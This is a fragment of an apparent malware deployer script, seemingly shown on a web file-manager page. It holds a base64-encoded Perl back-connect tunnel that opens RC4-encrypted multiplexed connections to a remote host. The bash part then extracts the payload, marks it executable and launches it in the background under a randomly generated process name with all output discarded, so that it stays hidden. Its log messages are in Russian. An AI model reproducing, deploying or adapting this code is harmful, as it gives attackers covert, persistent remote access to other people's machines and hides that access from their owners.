IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #69 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #69 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi # --- КОНЕЦ ПОСЛЕДОВАТЕЛЬНОСТИ ЗАПУСКА --- echo "---" echo "[RUNNER] Все компоненты отправлены в фоновый режим." echo "[RUNNER] Скрипт-деплоер завершает свою работу." exit 0
Upload File
Create Folder